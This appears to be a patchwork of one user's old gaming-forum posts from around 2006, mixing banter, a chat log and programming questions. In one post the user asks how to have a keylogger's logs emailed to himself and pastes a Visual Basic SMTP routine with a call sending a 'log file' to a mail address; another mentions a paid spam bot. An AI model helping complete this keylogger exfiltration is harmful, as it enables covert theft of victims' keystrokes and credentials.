Valhalla Legends Archive

dirty pirate hookers they are.

Ew, it's Spht. Did you end up getting that sex change we talked about a couple years ago?

iago <3 I see you still have your forum going haha

p.s. just kidding Spht

So it's been forever, I still see some familiar names, who remembers me?

You guys are crazy 

Quote from: Grok on August 04, 2006, 06:48 PM

Quote from: Zef on June 25, 2006, 09:40 AM
Oh, it might look like a half-assed social engineering attempt at gaining access, but I can assure you it's not!
Surely, something so devious would not involve cookies, nor bunnies, and I brought both.

I am/was Zef/Melkor.

Ha, hi bud.  Talk to me on msnm.

MSNM Shit, you let out the secret about how vL has made a very elaborate add-on to MSN! vL is taking over MSN, RUN!

Setting up a server on my computer is beyond easy but I change my ip every few days, thus a problem and I really don't wanna run any dns2go crap. I tried PHP and it was too confusing

I was offered 200$ for a d2 channel/ingame spam bot. I made it and was almost finished it when I had to reformat and it seemed I didn't back it up.

Quote from: FrOzeN on May 27, 2006, 10:41 PM
Yup, I live in Sydney.

Did you have to make your S/N FrOzeN?



[16:25] SiTH *: I am going to live with kiwis for 6 weeks
[16:26] SiTH *: then coming to aussieland
[16:26] D e i t y OfCold: lol
[16:26] SiTH *: yeah
[16:26] SiTH *: we should hang out
[16:26] D e i t y OfCold: I live in canada
[16:26] SiTH *: lol
[16:26] SiTH *: "Yup, I live in Sydney."
[16:27] D e i t y OfCold: I don't lol
[16:27] SiTH *: why did you lie
[16:27] D e i t y OfCold: I never said that
[16:28] D e i t y OfCold: check this out
[16:28] D e i t y OfCold: http://dark-wire.net/wtfpk/invripper/index.html
[16:28] D e i t y OfCold: brb food
[16:29] SiTH *: http://forum.valhallalegends.com/index.php?topic=15076.0
[16:29] SiTH *: just someone with your exact name and case
[16:31] D e i t y OfCold: rofl thats not me
[16:31] D e i t y OfCold: I am Fr0z3N
[16:31] SiTH *: oh
[16:34] D e i t y OfCold: lol
[16:34] D e i t y OfCold: <3

Yeah I found that out =\

Edit: what's the best way to have the logs from a keylogger sent to you?

What about if I were to change it to gmail? just change mail.hotmail.com to smtp.google.com, still doesn't work (already tried) so still need ideas.


Edit: I get

Connect socket return value732
Connected to smtp.google.com at port 25
1025  732  659292176
10060 - Connection timed out.
Terminating....
Error .. No connection



wVersion= 257               wHighVersion= 514
If wVersion == 257 then everything is kewl
szDescription=WinSock 2.0                                                                                                                                                                                                                                                     
szSystemStatus=Running                                                                                                                         
iMaxSockets= 32767          iMaxUdpDg=-69
Linger is on if nonzero:  1
Linger time if linger is on:  0
1025          732           659292176
Linger is on if nonzero:  1
Linger time if linger is on:  0



if thats any help

Could just be the wrong info?


smtp("mail.hotmail.com", "25", "[email protected]", "[email protected]", "log file", "blackhaze", "[email protected]", "l o g f i l e", Text2)



Public Function smtp(m_host, m_port, m_from, m_rcpt, name_from, name_rcpt, m_reply, m_subject, m_data As String) As Integer
'smtp = 1  Mail sent successfully
'smtp =-1  Mail sent met with some error
'smtp = 0  Timed Out
'Log mysock
Dim temp, timeout As Variant
    Progress = 0
    Green_Light = False
    do_cancel = False
    timeout = Timer + 60
    Log "Will timeout in 60 seconds"
    'make sure the port is closed!
    If mysock <> 0 Then Call closesocket(mysock)
    'let's connect!!!       host            port       handle
    temp = ConnectSock(m_host, m_port, 0, Form1.hWnd, True)
    Log "Connect socket return value" & temp
    Log "Connected to " & m_host & " at port " & m_port
    If temp = INVALID_SOCKET Then
        Log "Error -Invalid Socket"
        smtp = -1
        Exit Function
    End If
    While mysock = 0  'make sure we are connected
        DoEvents
        If do_cancel = True Then
            Log "Error .. No connection"
            smtp = -1
            Exit Function
        End If
    Wend
    timeout = Timer + 60
    Log "Connection Established..."
    While Green_Light = False
       
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend

    Log "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf
    Call SendData(mysock, "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf) 'send the data
    While Progress < 1
        DoEvents
       
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            smtp = 0
            Log "Timeout at progress step " & Progress
            Exit Function
        End If
    Wend
    Log "MAIL FROM: <" & m_from & ">" & vbCrLf
    Call SendData(mysock, "MAIL FROM: <" & m_from & ">" & vbCrLf)
    While Progress < 2
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Log "RCPT TO: <" & m_rcpt & ">" & vbCrLf
    Call SendData(mysock, "RCPT TO: <" & m_rcpt & ">" & vbCrLf)
    While Progress < 3
       
        DoEvents
       
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Log "DATA"
    Call SendData(mysock, "DATA" & vbCrLf)
    While Progress < 4
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Log "Beginning transfer of body..."
    temp = GenerateMessageID(Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)))
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "DATE: " & Format(Now, "h:mm:ss")
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "FROM: " & name_from & " <" & m_from & ">"
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "TO: " & name_rcpt & " <" & m_rcpt & ">"
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "Reply-to: " & " <" & m_reply & ">"
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    temp = "SUBJECT: " & m_subject
    Log temp
    Call SendData(mysock, temp & vbCrLf)
    Log "MIME-Version: 1.0"
    Call SendData(mysock, "MIME-Version: 1.0" & vbCrLf)
    Log "Content-Type: text/plain; charset=us-ascii"
    Call SendData(mysock, "Content-Type: text/plain; charset=us-ascii" & vbCrLf)
    Log m_data
    Call SendData(mysock, m_data)
    Log vbCrLf & "." & vbCrLf
    Call SendData(mysock, vbCrLf & "." & vbCrLf)
    While Progress < 5
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
    Call SendData(mysock, "QUIT" & vbCrLf)
    While Progress < 6
        DoEvents
        If do_cancel = True Then
            Log "Error in between smtp - fatal"
            smtp = -1
            Exit Function
        End If
       
        If Timer > timeout Then
            m_timeout = True
            Call closesocket(mysock)
            mysock = 0
            Log "Timeout at progress step " & Progress
            smtp = 0
            Exit Function
        End If
    Wend
   
    Log "Mail sent succesfully"
    smtp = 1
   
End Function



Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim x As Long, a As String
Dim wp As Integer
Dim temp As Variant
Dim ReadBuffer(1000) As Byte
'Debug.Print uMsg, wParam, lParam
    Select Case uMsg
        Case 1025:
            Debug.Print uMsg, wParam, lParam
            Log uMsg & "  " & wParam & "  " & lParam
            e_err = WSAGetAsyncError(lParam)
            e_errstr = GetWSAErrorString(e_err)
           
            If e_err <> 0 Then
                Log e_err & " - " & e_errstr
                Log "Terminating...."
                do_cancel = True
                'Exit Function
            End If
            Select Case lParam
            Case FD_READ: 'lets check for data
                    x = recv(mysock, ReadBuffer(0), 1000, 0) 'try to get some
                    If x > 0 Then 'was there any?
                        a = StrConv(ReadBuffer, vbUnicode) 'yep, lets change it to stuff we can understand
                        Log a
                        rtncode = Val(Mid(a, 1, 3))
                        'Log "Analysing code " & rtncode & "..."
                        Select Case rtncode
                        Case 354, 250
                            Progress = Progress + 1
                            Log ">>Progress becomes " & Progress
                        Case 220
                            Log "Recieved Greenlight"
                            Green_Light = True
                        Case 221
                            Progress = Progress + 1
                            Log ">>Progress becomes " & Progress
                        Case 550, 551, 552, 553, 554, 451, 452, 500
                            Log "There was some error at the server side"
                            Log "error code is " & rtncode
                            do_cancel = True
                        End Select
                    End If
            Case FD_CONNECT: 'did we connect?
                    mysock = wParam 'yep, we did! yayay
                    'Log WSAGetAsyncError(lParam) & "error code"
                    'Log mysock & " - Mysocket Value"

            Case FD_CLOSE: 'uh oh. they closed the connection
                    Call closesocket(wp)   'so we need to close
            End Select
    End Select
    'let the msg get through to the form
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

Congrats, although I do think it took a bit longer then expected (I've lost girls like that).

I tried it all, couldn't figure it out. I'm using a thread now so problem solved.

Quote from: UserLoser on March 19, 2006, 01:50 PM
So you want it spoonfed?

Yes.

I have no Timer code Kp, that's the problem.

Quote from: UserLoser on March 19, 2006, 01:05 AM
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/timers.asp

Yet another timer function I could not get to work. Is there one where you can simply post the code instead of refering me to a website?